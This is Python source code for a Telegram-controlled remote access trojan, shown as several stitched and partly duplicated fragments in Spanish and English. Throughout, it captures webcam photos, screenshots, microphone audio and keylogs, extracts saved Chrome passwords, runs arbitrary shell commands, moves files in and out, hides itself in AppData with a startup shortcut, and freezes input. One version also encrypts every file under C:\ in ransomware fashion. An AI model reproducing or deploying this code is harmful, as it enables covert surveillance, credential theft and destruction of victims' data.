def send_safe_message(bot, chat_id, message): while(True): try: cd.log('n','Message sent:\n{}'.format(bot.sendMessage(chat_id, message)),True) break except: pass
def send_safe_message(bot, chat_id, message): while(True): try: cd.log('n','Сообщение отправлено:\n{}'.format(bot.sendMessage(chat_id, message)),True) break except: pass
def handle(msg): chat_id = msg['chat']['id'] if checkchat_id(chat_id): response = '' if 'text' in msg: cd.log('n', '\n\t\tAdministrador con ID: ' + str(chat_id) + '\n\n Uso el comando:\t\t' + msg['text'] + '\n\n', True) command = msg['text'] try: if command == '/redInfo': # Información de la RED response = '' bot.sendChatAction(chat_id, 'typing') lines = os.popen('arp -a -N ' + internalIP()) for line in lines: line.replace('\n\n', '\n') response += line elif command == '/webcam': # Captura de Web Cam bot.sendChatAction(chat_id, 'typing') camera = cv2.VideoCapture(0) while True: return_value, image = camera.read() gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) cv2.imshow('image', gray) if cv2.waitKey(1) & 0xFF == ord('s'): cv2.imwrite('webcam.jpg', image) break camera.release() cv2.destroyAllWindows() bot.sendChatAction(chat_id, 'upload_photo') bot.sendDocument(chat_id, open('webcam.jpg', 'rb')) os.remove('webcam.jpg') elif command == '/captura': # Captura de pantalla bot.sendChatAction(chat_id, 'typing') screenshot = ImageGrab.grab() screenshot.save('screenshot.jpg') bot.sendChatAction(chat_id, 'upload_photo') bot.sendDocument(chat_id, open('screenshot.jpg', 'rb')) os.remove('screenshot.jpg') elif command.startswith('/cmd'): # CMD try: cd.log('w', 'Command exec prep') process = Popen(['cmd'], stdin=PIPE, stdout=PIPE) command = command.replace('/cmd', '') cd.log('w', 'Executing the command '+command) if len(command) > 1: process.stdin.write(bytes(command + '\n')) process.stdin.close() lines = process.stdout.readlines() for l in lines: response += l else: response = '/cmd dir' except: response = 'Vuelve a escribir ' elif command.startswith('/ir'): # Navegar entre carpetas command = command.replace('/ir ', '') try: os.chdir(command) response = os.getcwd() + '>' except: response = 'No subfolder matching ' + command elif command == '/cmd_dns': # Informacion DNS bot.sendChatAction(chat_id, 'typing') lines = os.popen('ipconfig /displaydns') for line in lines: line.replace('\n\n', '\n') response += line elif command == '/cmd_ipconfig': # Informacion IPConfig bot.sendChatAction(chat_id, 'typing') lines = os.popen('ipconfig /all') for line in lines: line.replace('\n\n', '\n') response += line elif command.startswith('/descargar'): # Descargar un archivo bot.sendChatAction(chat_id, 'typing') path_file = command.replace('/descargar', '') path_file = path_file[1:] if path_file == '': response = '/descargar C:/path/to/file.name or /descargarfile.name' else: bot.sendChatAction(chat_id, 'upload_document') try: bot.sendDocument(chat_id, open(path_file, 'rb')) except: try: bot.sendDocument(chat_id, open( hide_folder + '\\' + path_file)) response = 'Found in hide_folder: ' + hide_folder except: response = 'Could not find ' + path_file elif command.startswith('/copiar'): # Copia archivos command = command.replace('/copiar', '') command = command.strip() if len(command) > 0: try: file1 = command.split('"')[1] file2 = command.split('"')[3] copyfile(file1, file2) response = 'Archivos copiados exitosamente.' except Exception as e: response = 'Error: \n' + str(e) else: response = 'Usage: \n/copiar "C:/Users/DonaldTrump/Desktop/p**n.jpg" "C:/Users/DonaldTrump/AppData/Roaming/Microsoft Windows/[pornography.jpg]"' response += '\n\nDouble-Quotes are needed in both whitespace-containing and not containing path(s)' elif command.endswith('block_key'): # Bloquear teclado response = 'Ésta funcionalidad, está en proceso' elif command.endswith('block_mouse'): # Bloquear Mouse response = 'Ésta funcionalidad, está en proceso' elif command.endswith('desblock_mouse'): # Desbloquear Mouse response = 'Ésta funcionalidad, está en proceso' elif command.endswith('desblock_mouse'): response = 'Ésta funcionalidad, está en proceso' elif command == '/get_chrome': # Obtiene contraseñas de Chrome con = sqlite3.connect(os.path.expanduser( '~') + r'\AppData\Local\Google\Chrome\User Data\Default\Login Data') cursor = con.cursor() cursor.execute( "SELECT origin_url,username_value,password_value from logins;") for users in cursor.fetchall(): response += 'Website: ' + users[0] + '\n' response += 'Username: '******'\n' response += 'Password: '******'\n\n' elif command == '/get_wifi': pass elif command == '/get_key': try: bot.sendChatAction(chat_id, 'upload_document') bot.sendDocument(chat_id, open(keylogs_file, "rb")) except: response = 'No se pudo obtener el registro de Teclas.' pass elif command == '/get_desktop': try: r= "C:\\Users\\"+str(getuser())+"\\Desktop\\" os.chdir(r) response = os.getcwd() + '>' except: response = "Hubo un error al acceder a la ruta" elif command == '/get_documents': """ r= "C:\\Users\\"+str(getuser())+"\\Documents\\" os.chdir(r) response = os.getcwd() + '>' try: r= "O:\\OneDrive - xKx\\SoftwareProyectGit\\RAT-via-Telegram\\tests\\" # F:\esto\file1.txt #bot.sendChatAction(chat_id, 'typing') files = [] files = os.listdir(r) human_readable = '' for file in files: human_readable += file + '\n' #bot.sendDocument(chat_id, open(file, "rb")) #bot.sendDocument(chat_id, open( hide_folder + '\\' + path_file)) try: bot.sendChatAction(chat_id, 'upload_document') bot.sendDocument(chat_id, open("\\"+file)) response += "se envió"+file except: response += "no se envió el archivo: "+file response += human_readable except: response = ' Hubo un error, vuelva a intentarlo denuevo' """ pass elif command == '/get_download': r= "C:\\Users\\"+str(getuser())+"\\Downloads\\" os.chdir(r) response = os.getcwd() + '>' elif command == '/get_videos': r= "C:\\Users\\"+str(getuser())+"\\Videos\\" os.chdir(r) response = os.getcwd() + '>' elif command == '/get_music': r= "C:\\Users\\"+str(getuser())+"\\Music\\" os.chdir(r) response = os.getcwd() + '>' elif command == '/get_pictures': r= "C:\\Users\\"+str(getuser())+"\\Pictures\\" os.chdir(r) response = os.getcwd() + '>' elif command == '/eliminar_key': command = command.replace('/eliminar_key', '') path_file = command.strip() try: os.remove("C:\\Users\\"+str(getuser())+"\\AppData\\Roaming\\Microsoft\\.keylogs") response = 'El archivo ".keylogs" se eliminó correctamente' except: response = 'No se pudo eliminar el archivo ".keylogs" ' elif command.startswith('/eliminar'): # Elimina carpeta o archivo command = command.replace('/eliminar', '') path_file = command.strip() try: os.remove(path_file) response = 'El archivo se eliminó correctamente' except: try: os.rmdir(path_file) response = 'La carpeta se eliminó correctamente' except: try: shutil.rmtree(path_file) response = 'Succesfully removed folder and it\'s files' except: response = 'El archivo no existe' elif command.startswith('/audio'): # Graba Audio try: SECONDS = -1 try: SECONDS = int(command.replace('/hear', '').strip()) except: SECONDS = 5 CHANNELS = 2 CHUNK = 1024 FORMAT = pyaudio.paInt16 RATE = 44100 audio = pyaudio.PyAudio() bot.sendChatAction(chat_id, 'typing') stream = audio.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, frames_per_buffer=CHUNK) frames = [] for i in range(0, int(RATE / CHUNK * SECONDS)): data = stream.read(CHUNK) frames.append(data) stream.stop_stream() stream.close() audio.terminate() wav_path = hide_folder + '\\mouthlogs.wav' waveFile = wave.open(wav_path, 'wb') waveFile.setnchannels(CHANNELS) waveFile.setsampwidth(audio.get_sample_size(FORMAT)) waveFile.setframerate(RATE) waveFile.writeframes(b''.join(frames)) waveFile.close() bot.sendChatAction(chat_id, 'upload_document') except OSError: cd.log( 'e', 'Unable to listen in - there is probably no input device.') response = 'unable to listen in - there is probably no input device' elif command == '/ip_info': # Información del IP try: bot.sendChatAction(chat_id, 'find_location') info = requests.get('http://ipinfo.io').text # json format location = (loads(info)['loc']).split(',') bot.sendLocation(chat_id, location[0], location[1]) import string import re response = 'External IP: ' response += "".join( filter(lambda char: char in string.printable, info)) response = re.sub('[:,{}\t\"]', '', response) response += '\n' + 'Internal IP: ' + '\n\t' + internalIP() except: response = 'Hubo un error' elif command.startswith('/listar'): # Muestra lista de archivos y carpetas try: bot.sendChatAction(chat_id, 'typing') command = command.replace('/listar', '') command = command.strip() files = [] if len(command) > 0: files = os.listdir(command) else: files = os.listdir(os.getcwd()) human_readable = '' for file in files: human_readable += file + '\n' response = human_readable except: response = ' Hubo un error, vuelva a intentarlo denuevo' elif command.startswith('/mensaje'): # Muestra un mensaje message = command.replace('/mensaje', '') if message == '': response = '/mensaje <Escriba su mensaje>' else: ctypes.windll.user32.MessageBoxW( 0, message, u'Information', 0x40) response = 'MsgBox displayed' elif command.startswith('/mover'): # Mueve archivos command = command.replace('/mover', '') if len(command) > 0: try: file1 = command.split('"')[1] file2 = command.split('"')[3] move(file1, file2) response = 'El archivo se movió exitosamente.' except Exception as e: response = 'Error: \n' + str(e) else: response = 'Usage: \n/mv "C:/Users/DonaldTrump/Desktop/p**n.jpg" "C:/Users/DonaldTrump/AppData/Roaming/Microsoft Windows/[pornography.jpg]"' response += '\n\nDouble-Quotes are needed in both whitespace-containing and not containing path(s)' elif command == '/pc_info': # Información de la Computadora bot.sendChatAction(chat_id, 'typing') info = '' for pc_info in platform.uname(): info += '\n' + pc_info info += '\n' + 'Username: '******'/test': # Verifica conexión response = platform.uname()[1] + ': I\'Se encuentra en linea!!' elif command.startswith('/web'): # Abre el navegador con una URL command = command.replace('/web', '') command = command.strip() if len(command) > 0: systemCommand = 'start \"\" \"' systemCommand += command systemCommand += '\"' if os.system(systemCommand) == 0: response = 'La pagina web se abrió con exito' else: response = 'Hubo un error al abrir la pagina web' else: response = '/web URL' elif command == '/proxy': # Abre puertos threading.Thread(target=proxy.main).start() info = requests.get('http://ipinfo.io').text # json format ip = (loads(info)['ip']) response = 'Proxy succesfully setup on ' + ip + ':8081' elif command == '/this': # Carpeta donde se encuentra RAT response = os.getcwd() elif command.startswith('/python_exec'): command = command.replace('/python_exec', '').strip() if len(command) == 0: response = 'Usage: /python_exec print(\'printing\')' else: cd.log('w', 'Executing python command') if response == '': response = 'Expression executed. No return or malformed expression.' elif command == '/reiniciar': # Reiniciará bot.sendChatAction(chat_id, 'typing') command = os.popen('shutdown /r /f /t 0') response = 'Computer will be restarted NOW.' elif command.startswith('/ejecutar'): # Ejecuta un archivo bot.sendChatAction(chat_id, 'typing') path_file = command.replace('/ejecutar', '') path_file = path_file[1:] if path_file == '': response = '/run_file C:/path/to/file' else: try: os.startfile(path_file) response = 'El archivo\n\n' + path_file + '\n\n Se ejecutó correctamente.' except: try: os.startfile(hide_folder + '\\' + path_file) response = 'El archivo:\n ' + path_file + '\n\n Se ejecutó en hide_folder' except: response = 'No se encuentra el archivo' elif command.startswith('/calendario'): # Cambia la fecha del calendarios command = command.replace('/calendario', '') if command == '': response = '/calendario 2017 12 24 23 59 /msg_box happy christmas' else: scheduleDateTimeStr = command[1:command.index('/') - 1] scheduleDateTime = datetime.datetime.strptime( scheduleDateTimeStr, '%Y %m %d %H %M') scheduleMessage = command[command.index('/'):] schedule[scheduleDateTime] = { 'text': scheduleMessage, 'chat': {'id': chat_id}} response = 'Schedule set: ' + scheduleMessage runStackedSchedule(10) elif command == '/auto_destruye': # Auto destruye Rat bot.sendChatAction(chat_id, 'typing') global destroy destroy = True response = 'You sure? Type \'/destroy\' to proceed.' elif command == '/apagar': # Apaga la computadora bot.sendChatAction(chat_id, 'typing') command = os.popen('apagar /s /f /t 0') response = 'La computadora se apagará AHORA.' elif command == '/destruir' and destroy == True: # Destruye el RAT bot.sendChatAction(chat_id, 'typing') if os.path.exists(hide_folder): rmtree(hide_folder) if os.path.isfile(target_shortcut): os.remove(target_shortcut) os._exit(0) elif command == '/tareas': # Ver lista de tareas lines = os.popen('tasklist /FI \"STATUS ne NOT RESPONDING\"') response2 = '' for line in lines: line.replace('\n\n', '\n') if len(line) > 2000: response2 += line else: response += line response += '\n' + response2 elif command.startswith('/enviar'): # Envia archivo de PC Maestro a PC victima command = command.replace('/enviar', '') import winsound winsound.Beep(440, 300) if command == '': response = '/enviar <COMPUTER_1_NAME>, <COMPUTER_2_NAME> /msg_box Hello HOME-PC and WORK-PC' else: targets = command[:command.index('/')] if platform.uname()[1] in targets: command = command.replace(targets, '') msg = {'text': command, 'chat': {'id': chat_id}} handle(msg) elif command == '/actualizar': # Actualiza F5 RAT proc_name = app_name + '.exe' if not os.path.exists(hide_folder + '\\updated.exe'): response = 'Send updated.exe first.' else: for proc in psutil.process_iter(): # check whether the process name matches if proc.name() == proc_name: proc.kill() os.rename(hide_folder + '\\' + proc_name, hide_folder + '\\' + proc_name + '.bak') os.rename(hide_folder + '\\updated.exe', hide_folder + '\\' + proc_name) os.system(hide_folder + '\\' + proc_name) sys.exit() elif command.startswith('/fondo'): # Cambiar de fondo de pantalla command = command.replace('/fondo', '') command = command.strip() if len(command) == 0: response = 'Usage: /fondo C:/Users/User/Desktop/p**n.jpg' elif command.startswith('http'): image = command.rsplit('/', 1)[1] image = hide_folder + '/' + image urllib.urlretrieve(command, image) ctypes.windll.user32.SystemParametersInfoW( 20, 0, image, 3) else: ctypes.windll.user32.SystemParametersInfoW( 20, 0, command.replace('/', '//'), 3) response = 'Se cambió el fondo de pantalla.' elif command == '/help': # functionalities dictionary: command:arguments functionalities = {'/red_info': ' => Información de la Red',\ '/webcam': ' => Toma foto a la WebCam',\ '/captura': ' => ',\ #'/cmd': ' => Ejecuta desde Consola ',\ '/ir': ' => Navega entre carpetas',\ '/eliminar': ' => Elimina archivo o carpeta',\ '/eliminar_key':' => Elimina el archivo Keylogger',\ '/cmd_dns': ' => Muestra información DNS',\ #'/cmd_ipconfig':' => Muestra información IP Config',\ '/descargar': ' => Descarga un archivo',\ '/copiar': ' => Copiar archivos, de la misma PC',\ '/mover': ' => Mueve archivos',\ #'/block_key': ' => Bloquea el Teclado',\ #'/block_mouse': ' => Bloquea el movimiento del Mouse',\ #'/desblock_mouse': ' => Desbloquear movimiento del mouse',\ '/get_chrome': ' => Obtener contraseñas de chrome',\ #'/get_wifi': ' => Obtener contraseñas de Wifi',\ '/get_key':' => Obtiene el registro de teclas',\ #'/get_documents':' => Obtiene Documentos del Usuario',\ #'/get_music':' => Obtiene Musica del Usuario',\ #'/get_videos':' => Obtiene Videos del Usuario',\ #'/get_pictures':' => Obtiene Photos del Usuario',\ #'/get_download':' => Obtiene Descargas del Usuario',\ #'/get_desktop':' => Obtiene Escritorio del Usuario',\ '/audio': ' => [tiempo en segundos, default=5s]',\ '/ip_info': ' => Obtener información de IP',\ '/test': ' => Verifica si la victima está en linea',\ '/web': ' => Abre en el navegador un LINK',\ '/proxy': ' => Abre un proxy',\ '/this': ' => Muestra directorio actual RAT',\ '/listar': ' => Muestra directorio actual RAT',\ '/reiniciar': ' => Reinicia la computadora',\ '/ejecutar': ' => Ejecuta un archivo *EXE',\ #'/calendario': ' => Modifica el calendario',\ #'/auto_destruye': ' => Se destruye RAT',\ '/apagar': ' => Apaga la computadora',\ #'/destruir': ' => Destruye el RAT',\ '/tareas': ' => Lista de Tareas',\ '/enviar': ' => Envia Archivos a la PC de la victima',\ #'/actualizar': ' => Actualiza la carpeta',\ '/fondo': ' => Cambia de fondo de pantalla'} response = "\n".join(command + ' ' + description for command, description in sorted(functionalities.items())) else: # redirect to /help cd.log('w', 'BOT MISUSE: Invalid command') msg = {'text': '/help', 'chat': {'id': chat_id}} handle(msg) except Exception as e: cd.log('e', 'BOT MISUSE: Unknown error running command or function.') cd.log('z', 'Details from previous error'+str(e)) cd.log('n', 'Command {} ran'.format(command)) else: # Upload a file to target file_name = '' file_id = None if 'document' in msg: file_name = msg['document']['file_name'] file_id = msg['document']['file_id'] elif 'photo' in msg: file_time = int(time.time()) file_id = msg['photo'][1]['file_id'] file_name = file_id + '.jpg' file_path = bot.getFile(file_id=file_id)['file_path'] link = 'https://api.telegram.org/file/bot' + \ str(token) + '/' + file_path file = (requests.get(link, stream=True)).raw with open(hide_folder + '\\' + file_name, 'wb') as out_file: copyfileobj(file, out_file) response = 'Archivo guardado como: ' + file_name if response != '': responses = split_string(4096, response) for resp in responses: send_safe_message(bot, chat_id, resp)
try: with open(filePath, 'r') as f: # Verifica si el keylogger se encuentra oculto en el sistema print("El keylogger ya se encuentra en la carpeta oculta") except : print("El Keylogger no se encuentra en el sistema, y tratará de copiarlo") try: shutil.copy(nameKey , filePath) # Intenta ocultar el keylogger en una carpeta print("El keylogger se escondió exitosamente en el sistema") except: print("No se puedo esconder el Keylogger en el sistema") try: # Intenta crear la dirección os.makedirs('logs') except: pass cd.log('i','Starting') me = singleton.SingleInstance() token = 'xx:xx' # <== Aquí debes ingresar el codigo único de tu Bot if 'RVT_TOKEN' in os.environ: # it can also be set as an environment variable token = os.environ['RVT_TOKEN'] app_name = 'Microsoft' # Nombre de la carpeta en dentro delRoaming known_ids = [''] # Ejemplo => 991466973 <= Ejemplo # AGREGUE SU chat_id EN FORMATO DE CADENA A LA LISTA A CONTINUACIÓN SI DESEA QUE SU BOTELO SOLO RESPONDA A UNA PERSONA appdata_roaming_folder = os.environ['APPDATA'] hide_folder = appdata_roaming_folder + '\\' + app_name #Carpeta escondite compiled_name = app_name + '.exe' # ruta donde se compilará target_shortcut = startup() + '\\' + compiled_name.replace('.exe', '.lnk') if not os.path.exists(hide_folder): os.makedirs(hide_folder) hide_compiled = hide_folder + '\\' + compiled_name
def handle(msg): chat_id = msg['chat']['id'] if checkchat_id(chat_id): response = '' if 'text' in msg: cd.log('n','\n\t\tGot message from ' + str(chat_id) + ': ' + msg['text'] + '\n\n',True) command = msg['text'] try: if command == '/arp': response = '' bot.sendChatAction(chat_id, 'typing') lines = os.popen('arp -a -N ' + internalIP()) for line in lines: line.replace('\n\n', '\n') response += line elif command == '/capture_webcam': bot.sendChatAction(chat_id, 'typing') camera = cv2.VideoCapture(0) while True: return_value,image = camera.read() gray = cv2.cvtColor(image,cv2.COLOR_BGR2GRAY) cv2.imshow('image',gray) if cv2.waitKey(1)& 0xFF == ord('s'): cv2.imwrite('webcam.jpg',image) break camera.release() cv2.destroyAllWindows() bot.sendChatAction(chat_id, 'upload_photo') bot.sendDocument(chat_id, open('webcam.jpg', 'rb')) os.remove('webcam.jpg') elif command == '/capture_pc': bot.sendChatAction(chat_id, 'typing') screenshot = ImageGrab.grab() screenshot.save('screenshot.jpg') bot.sendChatAction(chat_id, 'upload_photo') bot.sendDocument(chat_id, open('screenshot.jpg', 'rb')) os.remove('screenshot.jpg') elif command.startswith('/cmd_exec'): cd.log('w','Command exec prep') process = Popen(['cmd'], stdin=PIPE, stdout=PIPE) command = command.replace('/cmd_exec', '') cd.log('w','Executing the command '+command) if len(command) > 1: process.stdin.write(bytes(command + '\n')) process.stdin.close() lines = process.stdout.readlines() for l in lines: response += l else: response = '/cmd_exec dir' elif command.startswith('/cd'): command = command.replace('/cd ','') try: os.chdir(command) response = os.getcwd() + '>' except: response = 'No subfolder matching ' + command elif command.startswith('/delete'): command = command.replace('/delete', '') path_file = command.strip() try: os.remove(path_file) response = 'Succesfully removed file' except: try: os.rmdir(path_file) response = 'Succesfully removed folder' except: try: shutil.rmtree(path_file) response = 'Succesfully removed folder and it\'s files' except: response = 'File not found' elif command == '/dns': bot.sendChatAction(chat_id, 'typing') lines = os.popen('ipconfig /displaydns') for line in lines: line.replace('\n\n', '\n') response += line elif command.startswith('/download'): bot.sendChatAction(chat_id, 'typing') path_file = command.replace('/download', '') path_file = path_file[1:] if path_file == '': response = '/download C:/path/to/file.name or /download file.name' else: bot.sendChatAction(chat_id, 'upload_document') try: bot.sendDocument(chat_id, open(path_file, 'rb')) except: try: bot.sendDocument(chat_id, open(hide_folder + '\\' + path_file)) response = 'Found in hide_folder: ' + hide_folder except: response = 'Could not find ' + path_file elif command.endswith('code_all'): cd.log('w','Data encryption option.') parentDirectory = 'C:\\' for root, dirs, files in os.walk(parentDirectory): for afile in files: full_path = os.path.join(root, afile) if command.startswith('/en'): cd.log('w','WARNING ABOUT TO ENCRYPT DATA!!!! IN '+str(full_path)) encode(full_path) elif command.startswith('/de') and full_path.endswith('.nxr'):#our extension (been encoded) decode(full_path) response = 'Files ' + command[1:3] + 'coded succesfully.' elif command.startswith('/cp'): command = command.replace('/cp', '') command = command.strip() if len(command) > 0: try: file1 = command.split('"')[1] file2 = command.split('"')[3] copyfile(file1, file2) response = 'Files copied succesfully.' except Exception as e: response = 'Error: \n' + str(e) else: response = 'Usage: \n/cp "C:/Users/DonaldTrump/Desktop/p**n.jpg" "C:/Users/DonaldTrump/AppData/Roaming/Microsoft Windows/[pornography.jpg]"' response += '\n\nDouble-Quotes are needed in both whitespace-containing and not containing path(s)' elif command.endswith('freeze_keyboard'): global keyboardFrozen keyboardFrozen = not command.startswith('/un') hookManager.KeyAll = lambda event: not keyboardFrozen response = 'Keyboard is now ' if keyboardFrozen: response += 'disabled. To enable, use /unfreeze_keyboard' else: cd.log('w','Keyboard frozen') response += 'enabled' elif command.endswith('freeze_mouse'): if mouseFrozen == False: mse = pyHook.HookManager() mse.MouseAll = false_event mse.KeyAll = false_event mse.HookMouse() mse.HookKeyboard() pythoncom.PumpMessages() response += 'enabled. To disable use /unfreeze_mouse' elif mouseFrozen == True: cd.log('w','Keyboard frozen') response += 'enabled. To disable, use /unfreeze_mouse' else: response += 'The script has commited the act of death' elif command.endswith('unfreeze_mouse'): if mouseFrozen == True: mse = pyHook.HookManager() mse.MouseAll = true_event mse.KeyAll = true_event mse.HookMouse() mse.HookKeyboard() pythoncom.PumpMessages() response += 'disabled. To enable use /freeze_mouse' elif mouseFrozen == False: response += 'already disabled. To enable, use /freeze_mouse' else: response += 'The script has commited the act of death' elif command == '/get_chrome': con = sqlite3.connect(os.path.expanduser('~') + r'\AppData\Local\Google\Chrome\User Data\Default\Login Data') cursor = con.cursor() cursor.execute("SELECT origin_url,username_value,password_value from logins;") for users in cursor.fetchall(): response += 'Website: ' + users[0] + '\n' response += 'Username: '******'\n' response += 'Password: '******'\n\n' # """ # pass elif command.startswith('/hear'): try: SECONDS = -1 try: SECONDS = int(command.replace('/hear','').strip()) except: SECONDS = 5 CHANNELS = 2 CHUNK = 1024 FORMAT = pyaudio.paInt16 RATE = 44100 audio = pyaudio.PyAudio() bot.sendChatAction(chat_id, 'typing') stream = audio.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, frames_per_buffer=CHUNK) frames = [] for i in range(0, int(RATE / CHUNK * SECONDS)): data = stream.read(CHUNK) frames.append(data) stream.stop_stream() stream.close() audio.terminate() wav_path = hide_folder + '\\mouthlogs.wav' waveFile = wave.open(wav_path, 'wb') waveFile.setnchannels(CHANNELS) waveFile.setsampwidth(audio.get_sample_size(FORMAT)) waveFile.setframerate(RATE) waveFile.writeframes(b''.join(frames)) waveFile.close() bot.sendChatAction(chat_id, 'upload_document') except OSError: cd.log('e','Unable to listen in - there is probably no input device.') response = 'unable to listen in - there is probably no input device' #bot.sendAudio(chat_id, audio=open(wav_path, 'rb')) elif command == '/ip_info': bot.sendChatAction(chat_id, 'find_location') info = requests.get('http://ipinfo.io').text #json format location = (loads(info)['loc']).split(',') bot.sendLocation(chat_id, location[0], location[1]) import string import re response = 'External IP: ' response += "".join(filter(lambda char: char in string.printable, info)) response = re.sub('[:,{}\t\"]', '', response) response += '\n' + 'Internal IP: ' + '\n\t' + internalIP() elif command == '/keylogs': bot.sendChatAction(chat_id, 'upload_document') bot.sendDocument(chat_id, open(keylogs_file, "rb")) elif command.startswith('/ls'): bot.sendChatAction(chat_id, 'typing') command = command.replace('/ls', '') command = command.strip() files = [] if len(command) > 0: files = os.listdir(command) else: files = os.listdir(os.getcwd()) human_readable = '' for file in files: human_readable += file + '\n' response = human_readable elif command.startswith('/msg_box'): message = command.replace('/msg_box', '') if message == '': response = '/msg_box yourText' else: ctypes.windll.user32.MessageBoxW(0, message, u'Information', 0x40) response = 'MsgBox displayed' elif command.startswith('/mv'): command = command.replace('/mv', '') if len(command) > 0: try: file1 = command.split('"')[1] file2 = command.split('"')[3] move(file1, file2) response = 'Files moved succesfully.' except Exception as e: response = 'Error: \n' + str(e) else: response = 'Usage: \n/mv "C:/Users/DonaldTrump/Desktop/p**n.jpg" "C:/Users/DonaldTrump/AppData/Roaming/Microsoft Windows/[pornography.jpg]"' response += '\n\nDouble-Quotes are needed in both whitespace-containing and not containing path(s)' elif command == '/pc_info': bot.sendChatAction(chat_id, 'typing') info = '' for pc_info in platform.uname(): info += '\n' + pc_info info += '\n' + 'Username: '******'/ping': response = platform.uname()[1] + ': I\'m up' elif command.startswith('/play'): command = command.replace('/play', '') command = command.strip() if len(command) > 0: systemCommand = 'start \"\" \"https://www.youtube.com/embed/' systemCommand += command systemCommand += '?autoplay=1&showinfo=0&controls=0\"' if os.system(systemCommand) == 0: response = 'YouTube video is now playing' else: response = 'Failed playing YouTube video' else: response = '/play <VIDEOID>\n/play A5ZqNOJbamU' elif command == '/proxy': threading.Thread(target=proxy.main).start() info = requests.get('http://ipinfo.io').text #json format ip = (loads(info)['ip']) response = 'Proxy succesfully setup on ' + ip + ':8081' elif command == '/pwd': response = os.getcwd() elif command.startswith('/python_exec'): command = command.replace('/python_exec','').strip() if len(command) == 0: response = 'Usage: /python_exec print(\'printing\')' else: cd.log('w','Executing python command') # from StringIO import StringIO # import sys # old_stderr = sys.stderr # old_stdout = sys.stdout # sys.stderr = mystderr = StringIO() # sys.stdout = mystdout = StringIO() # exec(command in globals()) # if mystderr.getvalue() != None: # response += mystderr.getvalue() # if mystdout.getvalue() != None: # response += mystdout.getvalue() # sys.stderr = old_stderr # sys.stdout = old_stdout if response == '': response = 'Expression executed. No return or malformed expression.' elif command == '/reboot': bot.sendChatAction(chat_id, 'typing') command = os.popen('shutdown /r /f /t 0') response = 'Computer will be restarted NOW.' elif command.startswith('/run'): bot.sendChatAction(chat_id, 'typing') path_file = command.replace('/run', '') path_file = path_file[1:] if path_file == '': response = '/run_file C:/path/to/file' else: try: os.startfile(path_file) response = 'File ' + path_file + ' has been run' except: try: os.startfile(hide_folder + '\\' + path_file) response = 'File ' + path_file + ' has been run from hide_folder' except: response = 'File not found' elif command.startswith('/schedule'): command = command.replace('/schedule', '') if command == '': response = '/schedule 2017 12 24 23 59 /msg_box happy christmas' else: scheduleDateTimeStr = command[1:command.index('/') - 1] scheduleDateTime = datetime.datetime.strptime(scheduleDateTimeStr, '%Y %m %d %H %M') scheduleMessage = command[command.index('/'):] schedule[scheduleDateTime] = {'text' : scheduleMessage, 'chat' : { 'id' : chat_id }} response = 'Schedule set: ' + scheduleMessage runStackedSchedule(10) elif command == '/self_destruct': bot.sendChatAction(chat_id, 'typing') global destroy destroy = True response = 'You sure? Type \'/destroy\' to proceed.' elif command == '/shutdown': bot.sendChatAction(chat_id, 'typing') command = os.popen('shutdown /s /f /t 0') response = 'Computer will be shutdown NOW.' elif command == '/destroy' and destroy == True: bot.sendChatAction(chat_id, 'typing') if os.path.exists(hide_folder): rmtree(hide_folder) if os.path.isfile(target_shortcut): os.remove(target_shortcut) os._exit(0) elif command == '/tasklist': lines = os.popen('tasklist /FI \"STATUS ne NOT RESPONDING\"') response2 = '' for line in lines: line.replace('\n\n', '\n') if len(line)>2000: response2 +=line else: response += line response += '\n' + response2 elif command.startswith('/to'): command = command.replace('/to','') import winsound winsound.Beep(440, 300) if command == '': response = '/to <COMPUTER_1_NAME>, <COMPUTER_2_NAME> /msg_box Hello HOME-PC and WORK-PC' else: targets = command[:command.index('/')] if platform.uname()[1] in targets: command = command.replace(targets, '') msg = {'text' : command, 'chat' : { 'id' : chat_id }} handle(msg) elif command == '/update': proc_name = app_name + '.exe' if not os.path.exists(hide_folder + '\\updated.exe'): response = 'Send updated.exe first.' else: for proc in psutil.process_iter(): # check whether the process name matches if proc.name() == proc_name: proc.kill() os.rename(hide_folder + '\\' + proc_name, hide_folder + '\\' + proc_name + '.bak') os.rename(hide_folder + '\\updated.exe', hide_folder + '\\' + proc_name) os.system(hide_folder + '\\' + proc_name) sys.exit() elif command.startswith('/wallpaper'): command = command.replace('/wallpaper', '') command = command.strip() if len(command) == 0: response = 'Usage: /wallpaper C:/Users/User/Desktop/p**n.jpg' elif command.startswith('http'): image = command.rsplit('/',1)[1] image = hide_folder + '/' + image urllib.urlretrieve(command, image) ctypes.windll.user32.SystemParametersInfoW(20, 0, image, 3) else: ctypes.windll.user32.SystemParametersInfoW(20, 0, command.replace('/', '//'), 3) response = 'Wallpaper succesfully set.' elif command == '/help': # functionalities dictionary: command:arguments functionalities = { '/arp' : '', \ '/capture_pc' : '', \ '/cmd_exec' : '<command_chain>', \ '/cd':'<target_dir>', \ '/decode_all':'', \ '/delete':'<target_file>', \ '/dns':'', \ '/download':'<target_file>', \ '/encode_all':'', \ '/freeze_keyboard':'', \ '/freeze_mouse':'', \ '/get_chrome':'', \ '/hear':'[time in seconds, default=5s]', \ '/ip_info':'', \ '/keylogs':'', \ '/ls':'[target_folder]', \ '/msg_box':'<text>', \ '/pc_info':'', \ '/play':'<youtube_videoId>', \ '/proxy':'', \ '/pwd':'', \ '/python_exec':'<command_chain>', \ '/reboot':'', \ '/run':'<target_file>', \ '/self_destruct':'', \ '/shutdown':'', \ '/tasklist':'', \ '/to':'<target_computer>, [other_target_computer]',\ '/update':'',\ '/wallpaper':'<target_file>'} response = "\n".join(command + ' ' + description for command,description in sorted(functionalities.items())) else: # redirect to /help cd.log('w','BOT MISUSE: Invalid command') msg = {'text' : '/help', 'chat' : { 'id' : chat_id }} handle(msg) except Exception as e: cd.log('e','BOT MISUSE: Unknown error running command or function.') cd.log('z','Details from previous error'+str(e)) #raise cd.log('n','Command {} ran'.format(command)) else: # Upload a file to target file_name = '' file_id = None if 'document' in msg: file_name = msg['document']['file_name'] file_id = msg['document']['file_id'] elif 'photo' in msg: file_time = int(time.time()) file_id = msg['photo'][1]['file_id'] file_name = file_id + '.jpg' file_path = bot.getFile(file_id=file_id)['file_path'] link = 'https://api.telegram.org/file/bot' + str(token) + '/' + file_path file = (requests.get(link, stream=True)).raw with open(hide_folder + '\\' + file_name, 'wb') as out_file: copyfileobj(file, out_file) response = 'File saved as ' + file_name if response != '': responses = split_string(4096, response) for resp in responses: send_safe_message(bot, chat_id, resp)#
